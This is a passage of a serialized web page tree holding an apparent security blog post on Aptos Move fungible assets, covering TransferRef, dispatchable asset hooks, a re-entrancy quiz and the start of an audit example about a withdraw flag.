set_frozen_flag",{"type":23,"tag":75,"props":76628,"children":76629},{"style":94},[76630],{"type":29,"value":295},{"type":23,"tag":75,"props":76632,"children":76633},{"style":104},[76634],{"type":29,"value":17255},{"type":23,"tag":75,"props":76636,"children":76637},{"style":209},[76638],{"type":29,"value":1018},{"type":23,"tag":75,"props":76640,"children":76641},{"style":110},[76642],{"type":29,"value":1663},{"type":23,"tag":75,"props":76644,"children":76645},{"style":94},[76646],{"type":29,"value":1064},{"type":23,"tag":75,"props":76648,"children":76649},{"class":77,"line":100},[76650,76655,76659,76663,76667],{"type":23,"tag":75,"props":76651,"children":76652},{"style":82},[76653],{"type":29,"value":76654},"    ref",{"type":23,"tag":75,"props":76656,"children":76657},{"style":209},[76658],{"type":29,"value":1018},{"type":23,"tag":75,"props":76660,"children":76661},{"style":209},[76662],{"type":29,"value":844},{"type":23,"tag":75,"props":76664,"children":76665},{"style":104},[76666],{"type":29,"value":76601},{"type":23,"tag":75,"props":76668,"children":76669},{"style":94},[76670],{"type":29,"value":118},{"type":23,"tag":75,"props":76672,"children":76673},{"class":77,"line":121},[76674,76678,76682,76686,76690,76694],{"type":23,"tag":75,"props":76675,"children":76676},{"style":110},[76677],{"type":29,"value":40610},{"type":23,"tag":75,"props":76679,"children":76680},{"style":209},[76681],{"type":29,"value":1018},{"type":23,"tag":75,"props":76683,"children":76684},{"style":104},[76685],{"type":29,"value":72742},{"type":23,"tag":75,"props":76687,"children":76688},{"style":94},[76689],{"type":29,"value":295},{"type":23,"tag":75,"props":76691,"children":76692},{"style":104},[76693],{"type":29,"value":17255},{"type":23,"tag":75,"props":76695,"children":76696},{"style":94},[76697],{"type":29,"value":1114},{"type":23,"tag":75,"props":76699,"children":76700},{"class":77,"line":138},[76701,76705,76709,76713],{"type":23,"tag":75,"props":76702,"children":76703},{"style":110},[76704],{"type":29,"value":72394},{"type":23,"tag":75,"props":76706,"children":76707},{"style":209},[76708],{"type":29,"value":1018},{"type":23,"tag":75,"props":76710,"children":76711},{"style":104},[76712],{"type":29,"value":3001},{"type":23,"tag":75,"props":76714,"children":76715},{"style":94},[76716],{"type":29,"value":118},{"type":23,"tag":75,"props":76718,"children":76719},{"class":77,"line":161},[76720],{"type":23,"tag":75,"props":76721,"children":76722},{"style":94},[76723],{"type":29,"value":653},{"type":23,"tag":32,"props":76725,"children":76726},{},[76727,76728,76733,76734,76739],{"type":29,"value":2846},{"type":23,"tag":71,"props":76729,"children":76731},{"className":76730},[],[76732],{"type":29,"value":60038},{"type":29,"value":949},{"type":23,"tag":71,"props":76735,"children":76737},{"className":76736},[],[76738],{"type":29,"value":76601},{"type":29,"value":76740}," is used to transfer object ownership:",{"type":23,"tag":64,"props":76742,"children":76744},{"className":987,"code":76743,"language":986,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[76745],{"type":23,"tag":71,"props":76746,"children":76747},{"__ignoreMap":7},[76748,76756,76789,76808],{"type":23,"tag":75,"props":76749,"children":76750},{"class":77,"line":78},[76751],{"type":23,"tag":75,"props":76752,"children":76753},{"style":3621},[76754],{"type":29,"value":76755},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":23,"tag":75,"props":76757,"children":76758},{"class":77,"line":100},[76759,76763,76768,76772,76777,76781,76785],{"type":23,"tag":75,"props":76760,"children":76761},{"style":82},[76762],{"type":29,"value":20652},{"type":23,"tag":75,"props":76764,"children":76765},{"style":104},[76766],{"type":29,"value":76767}," TransferRef",{"type":23,"tag":75,"props":76769,"children":76770},{"style":110},[76771],{"type":29,"value":20661},{"type":23,"tag":75,"props":76773,"children":76774},{"style":110},[76775],{"type":29,"value":76776}," drop",{"type":23,"tag":75,"props":76778,"children":76779},{"style":94},[76780],{"type":29,"value":611},{"type":23,"tag":75,"props":76782,"children":76783},{"style":110},[76784],{"type":29,"value":2411},{"type":23,"tag":75,"props":76786,"children":76787},{"style":94},[76788],{"type":29,"value":401},{"type":23,"tag":75,"props":76790,"children":76791},{"class":77,"line":121},[76792,76796,76800,76804],{"type":23,"tag":75,"props":76793,"children":76794},{"style":82},[76795],{"type":29,"value":32004},{"type":23,"tag":75,"props":76797,"children":76798},{"style":209},[76799],{"type":29,"value":1018},{"type":23,"tag":75,"props":76801,"children":76802},{"style":110},[76803],{"type":29,"value":17517},{"type":23,"tag":75,"props":76805,"children":76806},{"style":94},[76807],{"type":29,"value":118},{"type":23,"tag":75,"props":76809,"children":76810},{"class":77,"line":138},[76811],{"type":23,"tag":75,"props":76812,"children":76813},{"style":94},[76814],{"type":29,"value":369},{"type":23,"tag":32,"props":76816,"children":76817},{},[76818,76820,76825],{"type":29,"value":76819},"While the fungible asset's ",{"type":23,"tag":71,"props":76821,"children":76823},{"className":76822},[],[76824],{"type":29,"value":76601},{"type":29,"value":76826}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":23,"tag":64,"props":76828,"children":76830},{"className":987,"code":76829,"language":986,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[76831],{"type":23,"tag":71,"props":76832,"children":76833},{"__ignoreMap":7},[76834,76842,76850,76881,76908],{"type":23,"tag":75,"props":76835,"children":76836},{"class":77,"line":78},[76837],{"type":23,"tag":75,"props":76838,"children":76839},{"style":3621},[76840],{"type":29,"value":76841},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":23,"tag":75,"props":76843,"children":76844},{"class":77,"line":100},[76845],{"type":23,"tag":75,"props":76846,"children":76847},{"style":3621},[76848],{"type":29,"value":76849},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":23,"tag":75,"props":76851,"children":76852},{"class":77,"line":121},[76853,76857,76861,76865,76869,76873,76877],{"type":23,"tag":75,"props":76854,"children":76855},{"style":82},[76856],{"type":29,"value":20652},{"type":23,"tag":75,"props":76858,"children":76859},{"style":104},[76860],{"type":29,"value":76767},{"type":23,"tag":75,"props":76862,"children":76863},{"style":110},[76864],{"type":29,"value":20661},{"type":23,"tag":75,"props":76866,"children":76867},{"style":110},[76868],{"type":29,"value":76776},{"type":23,"tag":75,"props":76870,"children":76871},{"style":94},[76872],{"type":29,"value":611},{"type":23,"tag":75,"props":76874,"children":76875},{"style":110},[76876],{"type":29,"value":2411},{"type":23,"tag":75,"props":76878,"children":76879},{"style":94},[76880],{"type":29,"value":401},{"type":23,"tag":75,"props":76882,"children":76883},{"class":77,"line":138},[76884,76888,76892,76896,76900,76904],{"type":23,"tag":75,"props":76885,"children":76886},{"style":110},[76887],{"type":29,"value":72733},{"type":23,"tag":75,"props":76889,"children":76890},{"style":209},[76891],{"type":29,"value":1018},{"type":23,"tag":75,"props":76893,"children":76894},{"style":104},[76895],{"type":29,"value":72742},{"type":23,"tag":75,"props":76897,"children":76898},{"style":94},[76899],{"type":29,"value":295},{"type":23,"tag":75,"props":76901,"children":76902},{"style":104},[76903],{"type":29,"value":72751},{"type":23,"tag":75,"props":76905,"children":76906},{"style":94},[76907],{"type":29,"value":17260},{"type":23,"tag":75,"props":76909,"children":76910},{"class":77,"line":161},[76911],{"type":23,"tag":75,"props":76912,"children":76913},{"style":94},[76914],{"type":29,"value":369},{"type":23,"tag":32,"props":76916,"children":76917},{},[76918,76920,76926,76928,76934],{"type":29,"value":76919},"Additionally, there are fungible asset-specific references such as ",{"type":23,"tag":71,"props":76921,"children":76923},{"className":76922},[],[76924],{"type":29,"value":76925},"MintRef",{"type":29,"value":76927}," for minting and ",{"type":23,"tag":71,"props":76929,"children":76931},{"className":76930},[],[76932],{"type":29,"value":76933},"BurnRef",{"type":29,"value":76935}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":23,"tag":24,"props":76937,"children":76939},{"id":76938},"dispatchable-fungible-assets",[76940],{"type":29,"value":76941},"Dispatchable fungible assets",{"type":23,"tag":32,"props":76943,"children":76944},{},[76945],{"type":29,"value":76946},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":23,"tag":32,"props":76948,"children":76949},{},[76950],{"type":29,"value":76951},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":23,"tag":76953,"props":76954,"children":76955},"warning",{},[76956],{"type":23,"tag":32,"props":76957,"children":76958},{},[76959,76961,76967],{"type":29,"value":76960},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":23,"tag":71,"props":76962,"children":76964},{"className":76963},[],[76965],{"type":29,"value":76966},"transfer_assert_minimum_deposit",{"type":29,"value":76968}," that can help mitigate such risks.",{"type":23,"tag":32,"props":76970,"children":76971},{},[76972,76974,76979,76981,76988],{"type":29,"value":76973},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":23,"tag":71,"props":76975,"children":76977},{"className":76976},[],[76978],{"type":29,"value":172},{"type":29,"value":76980}," to ensure ",{"type":23,"tag":940,"props":76982,"children":76985},{"href":76983,"rel":76984},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[944],[76986],{"type":29,"value":76987},"their signature remains immutable",{"type":29,"value":76989},". An example implementation might look like this:",{"type":23,"tag":64,"props":76991,"children":76993},{"className":987,"code":76992,"language":986,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[76994],{"type":23,"tag":71,"props":76995,"children":76996},{"__ignoreMap":7},[76997,77033,77060,77079,77103,77122,77130,77176,77183,77190,77226,77253,77273,77296,77303,77310,77354],{"type":23,"tag":75,"props":76998,"children":76999},{"class":77,"line":78},[77000,77004,77008,77013,77017,77021,77025,77029],{"type":23,"tag":75,"props":77001,"children":77002},{"style":110},[77003],{"type":29,"value":172},{"type":23,"tag":75,"props":77005,"children":77006},{"style":110},[77007],{"type":29,"value":17474},{"type":23,"tag":75,"props":77009,"children":77010},{"style":110},[77011],{"type":29,"value":77012}," withdraw_hook",{"type":23,"tag":75,"props":77014,"children":77015},{"style":94},[77016],{"type":29,"value":295},{"type":23,"tag":75,"props":77018,"children":77019},{"style":104},[77020],{"type":29,"value":17255},{"type":23,"tag":75,"props":77022,"children":77023},{"style":209},[77024],{"type":29,"value":1018},{"type":23,"tag":75,"props":77026,"children":77027},{"style":110},[77028],{"type":29,"value":1663},{"type":23,"tag":75,"props":77030,"children":77031},{"style":94},[77032],{"type":29,"value":1064},{"type":23,"tag":75,"props":77034,"children":77035},{"class":77,"line":100},[77036,77040,77044,77048,77052,77056],{"type":23,"tag":75,"props":77037,"children":77038},{"style":110},[77039],{"type":29,"value":40610},{"type":23,"tag":75,"props":77041,"children":77042},{"style":209},[77043],{"type":29,"value":1018},{"type":23,"tag":75,"props":77045,"children":77046},{"style":104},[77047],{"type":29,"value":72742},{"type":23,"tag":75,"props":77049,"children":77050},{"style":94},[77051],{"type":29,"value":295},{"type":23,"tag":75,"props":77053,"children":77054},{"style":104},[77055],{"type":29,"value":17255},{"type":23,"tag":75,"props":77057,"children":77058},{"style":94},[77059],{"type":29,"value":1114},{"type":23,"tag":75,"props":77061,"children":77062},{"class":77,"line":121},[77063,77067,77071,77075],{"type":23,"tag":75,"props":77064,"children":77065},{"style":110},[77066],{"type":29,"value":7012},{"type":23,"tag":75,"props":77068,"children":77069},{"style":209},[77070],{"type":29,"value":1018},{"type":23,"tag":75,"props":77072,"children":77073},{"style":104},[77074],{"type":29,"value":17129},{"type":23,"tag":75,"props":77076,"children":77077},{"style":94},[77078],{"type":29,"value":118},{"type":23,"tag":75,"props":77080,"children":77081},{"class":77,"line":138},[77082,77087,77091,77095,77099],{"type":23,"tag":75,"props":77083,"children":77084},{"style":110},[77085],{"type":29,"value":77086},"    transfer_ref",{"type":23,"tag":75,"props":77088,"children":77089},{"style":209},[77090],{"type":29,"value":1018},{"type":23,"tag":75,"props":77092,"children":77093},{"style":209},[77094],{"type":29,"value":844},{"type":23,"tag":75,"props":77096,"children":77097},{"style":104},[77098],{"type":29,"value":76601},{"type":23,"tag":75,"props":77100,"children":77101},{"style":94},[77102],{"type":29,"value":118},{"type":23,"tag":75,"props":77104,"children":77105},{"class":77,"line":161},[77106,77110,77114,77118],{"type":23,"tag":75,"props":77107,"children":77108},{"style":94},[77109],{"type":29,"value":1347},{"type":23,"tag":75,"props":77111,"children":77112},{"style":209},[77113],{"type":29,"value":1018},{"type":23,"tag":75,"props":77115,"children":77116},{"style":104},[77117],{"type":29,"value":72721},{"type":23,"tag":75,"props":77119,"children":77120},{"style":94},[77121],{"type":29,"value":401},{"type":23,"tag":75,"props":77123,"children":77124},{"class":77,"line":196},[77125],{"type":23,"tag":75,"props":77126,"children":77127},{"style":3621},[77128],{"type":29,"value":77129},"    //check paused, gather fees etc.\n",{"type":23,"tag":75,"props":77131,"children":77132},{"class":77,"line":220},[77133,77138,77142,77147,77151,77156,77160,77164,77168,77172],{"type":23,"tag":75,"props":77134,"children":77135},{"style":94},[77136],{"type":29,"value":77137},"    fungible_asset",{"type":23,"tag":75,"props":77139,"children":77140},{"style":209},[77141],{"type":29,"value":1407},{"type":23,"tag":75,"props":77143,"children":77144},{"style":88},[77145],{"type":29,"value":77146},"withdraw_with_ref",{"type":23,"tag":75,"props":77148,"children":77149},{"style":94},[77150],{"type":29,"value":643},{"type":23,"tag":75,"props":77152,"children":77153},{"style":110},[77154],{"type":29,"value":77155},"transfer_ref",{"type":23,"tag":75,"props":77157,"children":77158},{"style":94},[77159],{"type":29,"value":611},{"type":23,"tag":75,"props":77161,"children":77162},{"style":110},[77163],{"type":29,"value":2411},{"type":23,"tag":75,"props":77165,"children":77166},{"style":94},[77167],{"type":29,"value":611},{"type":23,"tag":75,"props":77169,"children":77170},{"style":110},[77171],{"type":29,"value":31526},{"type":23,"tag":75,"props":77173,"children":77174},{"style":94},[77175],{"type":29,"value":653},{"type":23,"tag":75,"props":77177,"children":77178},{"class":77,"line":248},[77179],{"type":23,"tag":75,"props":77180,"children":77181},{"style":94},[77182],{"type":29,"value":369},{"type":23,"tag":75,"props":77184,"children":77185},{"class":77,"line":270},[77186],{"type":23,"tag":75,"props":77187,"children":77188},{"emptyLinePlaceholder":15},[77189],{"type":29,"value":276},{"type":23,"tag":75,"props":77191,"children":77192},{"class":77,"line":279},[77193,77197,77201,77206,77210,77214,77218,77222],{"type":23,"tag":75,"props":77194,"children":77195},{"style":110},[77196],{"type":29,"value":172},{"type":23,"tag":75,"props":77198,"children":77199},{"style":110},[77200],{"type":29,"value":17474},{"type":23,"tag":75,"props":77202,"children":77203},{"style":110},[77204],{"type":29,"value":77205}," deposit_hook",{"type":23,"tag":75,"props":77207,"children":77208},{"style":94},[77209],{"type":29,"value":295},{"type":23,"tag":75,"props":77211,"children":77212},{"style":104},[77213],{"type":29,"value":17255},{"type":23,"tag":75,"props":77215,"children":77216},{"style":209},[77217],{"type":29,"value":1018},{"type":23,"tag":75,"props":77219,"children":77220},{"style":110},[77221],{"type":29,"value":1663},{"type":23,"tag":75,"props":77223,"children":77224},{"style":94},[77225],{"type":29,"value":1064},{"type":23,"tag":75,"props":77227,"children":77228},{"class":77,"line":303},[77229,77233,77237,77241,77245,77249],{"type":23,"tag":75,"props":77230,"children":77231},{"style":110},[77232],{"type":29,"value":40610},{"type":23,"tag":75,"props":77234,"children":77235},{"style":209},[77236],{"type":29,"value":1018},{"type":23,"tag":75,"props":77238,"children":77239},{"style":104},[77240],{"type":29,"value":72742},{"type":23,"tag":75,"props":77242,"children":77243},{"style":94},[77244],{"type":29,"value":295},{"type":23,"tag":75,"props":77246,"children":77247},{"style":104},[77248],{"type":29,"value":17255},{"type":23,"tag":75,"props":77250,"children":77251},{"style":94},[77252],{"type":29,"value":1114},{"type":23,"tag":75,"props":77254,"children":77255},{"class":77,"line":322},[77256,77261,77265,77269],{"type":23,"tag":75,"props":77257,"children":77258},{"style":110},[77259],{"type":29,"value":77260},"    fa",{"type":23,"tag":75,"props":77262,"children":77263},{"style":209},[77264],{"type":29,"value":1018},{"type":23,"tag":75,"props":77266,"children":77267},{"style":104},[77268],{"type":29,"value":72721},{"type":23,"tag":75,"props":77270,"children":77271},{"style":94},[77272],{"type":29,"value":118},{"type":23,"tag":75,"props":77274,"children":77275},{"class":77,"line":340},[77276,77280,77284,77288,77292],{"type":23,"tag":75,"props":77277,"children":77278},{"style":110},[77279],{"type":29,"value":77086},{"type":23,"tag":75,"props":77281,"children":77282},{"style":209},[77283],{"type":29,"value":1018},{"type":23,"tag":75,"props":77285,"children":77286},{"style":209},[77287],{"type":29,"value":844},{"type":23,"tag":75,"props":77289,"children":77290},{"style":104},[77291],{"type":29,"value":76601},{"type":23,"tag":75,"props":77293,"children":77294},{"style":94},[77295],{"type":29,"value":118},{"type":23,"tag":75,"props":77297,"children":77298},{"class":77,"line":349},[77299],{"type":23,"tag":75,"props":77300,"children":77301},{"style":94},[77302],{"type":29,"value":193},{"type":23,"tag":75,"props":77304,"children":77305},{"class":77,"line":363},[77306],{"type":23,"tag":75,"props":77307,"children":77308},{"style":3621},[77309],{"type":29,"value":77129},{"type":23,"tag":75,"props":77311,"children":77312},{"class":77,"line":656},[77313,77317,77321,77326,77330,77334,77338,77342,77346,77350],{"type":23,"tag":75,"props":77314,"children":77315},{"style":94},[77316],{"type":29,"value":77137},{"type":23,"tag":75,"props":77318,"children":77319},{"style":209},[77320],{"type":29,"value":1407},{"type":23,"tag":75,"props":77322,"children":77323},{"style":88},[77324],{"type":29,"value":77325},"deposit_with_ref",{"type":23,"tag":75,"props":77327,"children":77328},{"style":94},[77329],{"type":29,"value":643},{"type":23,"tag":75,"props":77331,"children":77332},{"style":110},[77333],{"type":29,"value":77155},{"type":23,"tag":75,"props":77335,"children":77336},{"style":94},[77337],{"type":29,"value":611},{"type":23,"tag":75,"props":77339,"children":77340},{"style":110},[77341],{"type":29,"value":2411},{"type":23,"tag":75,"props":77343,"children":77344},{"style":94},[77345],{"type":29,"value":611},{"type":23,"tag":75,"props":77347,"children":77348},{"style":110},[77349],{"type":29,"value":72912},{"type":23,"tag":75,"props":77351,"children":77352},{"style":94},[77353],{"type":29,"value":15099},{"type":23,"tag":75,"props":77355,"children":77356},{"class":77,"line":705},[77357],{"type":23,"tag":75,"props":77358,"children":77359},{"style":94},[77360],{"type":29,"value":369},{"type":23,"tag":77362,"props":77363,"children":77364},"question",{},[77365,77392],{"type":23,"tag":32,"props":77366,"children":77367},{},[77368,77370,77376,77378,77384,77385,77391],{"type":29,"value":77369},"Why hook functions rely on ",{"type":23,"tag":71,"props":77371,"children":77373},{"className":77372},[],[77374],{"type":29,"value":77375},"*_with_ref",{"type":29,"value":77377}," calls? What would happen if the hook function called ",{"type":23,"tag":71,"props":77379,"children":77381},{"className":77380},[],[77382],{"type":29,"value":77383},"dispatchable_fungible_asset::withdraw",{"type":29,"value":28017},{"type":23,"tag":71,"props":77386,"children":77388},{"className":77387},[],[77389],{"type":29,"value":77390},"fungible_asset::withdraw_with_ref",{"type":29,"value":1225},{"type":23,"tag":77393,"props":77394,"children":77395},"template",{"v-slot:answer-0":7},[77396,77408],{"type":23,"tag":32,"props":77397,"children":77398},{},[77399,77401,77406],{"type":29,"value":77400},"A1: Hook functions rely on ",{"type":23,"tag":71,"props":77402,"children":77404},{"className":77403},[],[77405],{"type":29,"value":77375},{"type":29,"value":77407}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":23,"tag":32,"props":77409,"children":77410},{},[77411,77413,77418],{"type":29,"value":77412},"A2: A ",{"type":23,"tag":71,"props":77414,"children":77416},{"className":77415},[],[77417],{"type":29,"value":77383},{"type":29,"value":77419}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":23,"tag":32,"props":77421,"children":77422},{},[77423],{"type":29,"value":77424},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":23,"tag":64,"props":77426,"children":77428},{"className":987,"code":77427,"language":986,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[77429],{"type":23,"tag":71,"props":77430,"children":77431},{"__ignoreMap":7},[77432,77527,77547,77562,77582,77625,77640,77647,77654,77773,77792,77807,77826,77869],{"type":23,"tag":75,"props":77433,"children":77434},{"class":77,"line":78},[77435,77439,77443,77447,77451,77455,77459,77463,77467,77471,77475,77479,77483,77487,77491,77495,77499,77503,77507,77511,77515,77519,77523],{"type":23,"tag":75,"props":77436,"children":77437},{"style":110},[77438],{"type":29,"value":172},{"type":23,"tag":75,"props":77440,"children":77441},{"style":110},[77442],{"type":29,"value":17474},{"type":23,"tag":75,"props":77444,"children":77445},{"style":110},[77446],{"type":29,"value":72863},{"type":23,"tag":75,"props":77448,"children":77449},{"style":94},[77450],{"type":29,"value":295},{"type":23,"tag":75,"props":77452,"children":77453},{"style":104},[77454],{"type":29,"value":17255},{"type":23,"tag":75,"props":77456,"children":77457},{"style":209},[77458],{"type":29,"value":1018},{"type":23,"tag":75,"props":77460,"children":77461},{"style":110},[77462],{"type":29,"value":1663},{"type":23,"tag":75,"props":77464,"children":77465},{"style":94},[77466],{"type":29,"value":18870},{"type":23,"tag":75,"props":77468,"children":77469},{"style":110},[77470],{"type":29,"value":2411},{"type":23,"tag":75,"props":77472,"children":77473},{"style":209},[77474],{"type":29,"value":1018},{"type":23,"tag":75,"props":77476,"children":77477},{"style":104},[77478],{"type":29,"value":72742},{"type":23,"tag":75,"props":77480,"children":77481},{"style":94},[77482],{"type":29,"value":295},{"type":23,"tag":75,"props":77484,"children":77485},{"style":104},[77486],{"type":29,"value":17255},{"type":23,"tag":75,"props":77488,"children":77489},{"style":94},[77490],{"type":29,"value":17895},{"type":23,"tag":75,"props":77492,"children":77493},{"style":110},[77494],{"type":29,"value":72912},{"type":23,"tag":75,"props":77496,"children":77497},{"style":209},[77498],{"type":29,"value":1018},{"type":23,"tag":75,"props":77500,"children":77501},{"style":104},[77502],{"type":29,"value":72721},{"type":23,"tag":75,"props":77504,"children":77505},{"style":94},[77506],{"type":29,"value":611},{"type":23,"tag":75,"props":77508,"children":77509},{"style":110},[77510],{"type":29,"value":77155},{"type":23,"tag":75,"props":77512,"children":77513},{"style":209},[77514],{"type":29,"value":1018},{"type":23,"tag":75,"props":77516,"children":77517},{"style":209},[77518],{"type":29,"value":844},{"type":23,"tag":75,"props":77520,"children":77521},{"style":104},[77522],{"type":29,"value":76601},{"type":23,"tag":75,"props":77524,"children":77525},{"style":94},[77526],{"type":29,"value":193},{"type":23,"tag":75,"props":77528,"children":77529},{"class":77,"line":100},[77530,77535,77539,77543],{"type":23,"tag":75,"props":77531,"children":77532},{"style":88},[77533],{"type":29,"value":77534},"    assert_withdraw_flag",{"type":23,"tag":75,"props":77536,"children":77537},{"style":94},[77538],{"type":29,"value":643},{"type":23,"tag":75,"props":77540,"children":77541},{"style":82},[77542],{"type":29,"value":15268},{"type":23,"tag":75,"props":77544,"children":77545},{"style":94},[77546],{"type":29,"value":15099},{"type":23,"tag":75,"props":77548,"children":77549},{"class":77,"line":121},[77550,77554,77558],{"type":23,"tag":75,"props":77551,"children":77552},{"style":94},[77553],{"type":29,"value":73896},{"type":23,"tag":75,"props":77555,"children":77556},{"style":209},[77557],{"type":29,"value":9174},{"type":23,"tag":75,"props":77559,"children":77560},{"style":94},[77561],{"type":29,"value":823},{"type":23,"tag":75,"props":77563,"children":77564},{"class":77,"line":138},[77565,77570,77574,77578],{"type":23,"tag":75,"props":77566,"children":77567},{"style":88},[77568],{"type":29,"value":77569},"    set_withdraw_flag",{"type":23,"tag":75,"props":77571,"children":77572},{"style":94},[77573],{"type":29,"value":643},{"type":23,"tag":75,"props":77575,"children":77576},{"style":82},[77577],{"type":29,"value":19434},{"type":23,"tag":75,"props":77579,"children":77580},{"style":94},[77581],{"type":29,"value":15099},{"type":23,"tag":75,"props":77583,"children":77584},{"class":77,"line":161},[77585,77589,77593,77597,77601,77605,77609,77613,77617,77621],{"type":23,"tag":75,"props":77586,"children":77587},{"style":94},[77588],{"type":29,"value":77137},{"type":23,"tag":75,"props":77590,"children":77591},{"style":209},[77592],{"type":29,"value":1407},{"type":23,"tag":75,"props":77594,"children":77595},{"style":88},[77596],{"type":29,"value":77325},{"type":23,"tag":75,"props":77598,"children":77599},{"style":94},[77600],{"type":29,"value":643},{"type":23,"tag":75,"props":77602,"children":77603},{"style":110},[77604],{"type":29,"value":77155},{"type":23,"tag":75,"props":77606,"children":77607},{"style":94},[77608],{"type":29,"value":611},{"type":23,"tag":75,"props":77610,"children":77611},{"style":110},[77612],{"type":29,"value":2411},{"type":23,"tag":75,"props":77614,"children":77615},{"style":94},[77616],{"type":29,"value":611},{"type":23,"tag":75,"props":77618,"children":77619},{"style":110},[77620],{"type":29,"value":31526},{"type":23,"tag":75,"props":77622,"children":77623},{"style":94},[77624],{"type":29,"value":15099},{"type":23,"tag":75,"props":77626,"children":77627},{"class":77,"line":196},[77628,77632,77636],{"type":23,"tag":75,"props":77629,"children":77630},{"style":94},[77631],{"type":29,"value":73896},{"type":23,"tag":75,"props":77633,"children":77634},{"style":209},[77635],{"type":29,"value":9174},{"type":23,"tag":75,"props":77637,"children":77638},{"style":94},[77639],{"type":29,"value":823},{"type":23,"tag":75,"props":77641,"children":77642},{"class":77,"line":220},[77643],{"type":23,"tag":75,"props":77644,"children":77645},{"style":94},[77646],{"type":29,"value":346},{"type":23,"tag":75,"props":77648,"children":77649},{"class":77,"line":248},[77650],{"type":23,"tag":75,"props":77651,"children":77652},{"emptyLinePlaceholder":15},[77653],{"type":29,"value":276},{"type":23,"tag":75,"props":77655,"children":77656},{"class":77,"line":270},[77657,77661,77665,77669,77673,77677,77681,77685,77689,77693,77697,77701,77705,77709,77713,77717,77721,77725,77729,77733,77737,77741,77745,77749,77753,77757,77761,77765,77769],{"type":23,"tag":75,"props":77658,"children":77659},{"style":110},[77660],{"type":29,"value":172},{"type":23,"tag":75,"props":77662,"children":77663},{"style":110},[77664],{"type":29,"value":17474},{"type":23,"tag":75,"props":77666,"children":77667},{"style":110},[77668],{"type":29,"value":31492},{"type":23,"tag":75,"props":77670,"children":77671},{"style":94},[77672],{"type":29,"value":295},{"type":23,"tag":75,"props":77674,"children":77675},{"style":104},[77676],{"type":29,"value":17255},{"type":23,"tag":75,"props":77678,"children":77679},{"style":209},[77680],{"type":29,"value":1018},{"type":23,"tag":75,"props":77682,"children":77683},{"style":110},[77684],{"type":29,"value":1663},{"type":23,"tag":75,"props":77686,"children":77687},{"style":94},[77688],{"type":29,"value":18870},{"type":23,"tag":75,"props":77690,"children":77691},{"style":110},[77692],{"type":29,"value":2411},{"type":23,"tag":75,"props":77694,"children":77695},{"style":209},[77696],{"type":29,"value":1018},{"type":23,"tag":75,"props":77698,"children":77699},{"style":104},[77700],{"type":29,"value":72742},{"type":23,"tag":75,"props":77702,"children":77703},{"style":94},[77704],{"type":29,"value":295},{"type":23,"tag":75,"props":77706,"children":77707},{"style":104},[77708],{"type":29,"value":17255},{"type":23,"tag":75,"props":77710,"children":77711},{"style":94},[77712],{"type":29,"value":17895},{"type":23,"tag":75,"props":77714,"children":77715},{"style":110},[77716],{"type":29,"value":31526},{"type":23,"tag":75,"props":77718,"children":77719},{"style":209},[77720],{"type":29,"value":1018},{"type":23,"tag":75,"props":77722,"children":77723},{"style":104},[77724],{"type":29,"value":17129},{"type":23,"tag":75,"props":77726,"children":77727},{"style":94},[77728],{"type":29,"value":611},{"type":23,"tag":75,"props":77730,"children":77731},{"style":110},[77732],{"type":29,"value":77155},{"type":23,"tag":75,"props":77734,"children":77735},{"style":209},[77736],{"type":29,"value":1018},{"type":23,"tag":75,"props":77738,"children":77739},{"style":209},[77740],{"type":29,"value":844},{"type":23,"tag":75,"props":77742,"children":77743},{"style":104},[77744],{"type":29,"value":76601},{"type":23,"tag":75,"props":77746,"children":77747},{"style":94},[77748],{"type":29,"value":1347},{"type":23,"tag":75,"props":77750,"children":77751},{"style":209},[77752],{"type":29,"value":1018},{"type":23,"tag":75,"props":77754,"children":77755},{"style":104},[77756],{"type":29,"value":72721},{"type":23,"tag":75,"props":77758,"children":77759},{"style":110},[77760],{"type":29,"value":18826},{"type":23,"tag":75,"props":77762,"children":77763},{"style":94},[77764],{"type":29,"value":34247},{"type":23,"tag":75,"props":77766,"children":77767},{"style":209},[77768],{"type":29,"value":9174},{"type":23,"tag":75,"props":77770,"children":77771},{"style":94},[77772],{"type":29,"value":72945},{"type"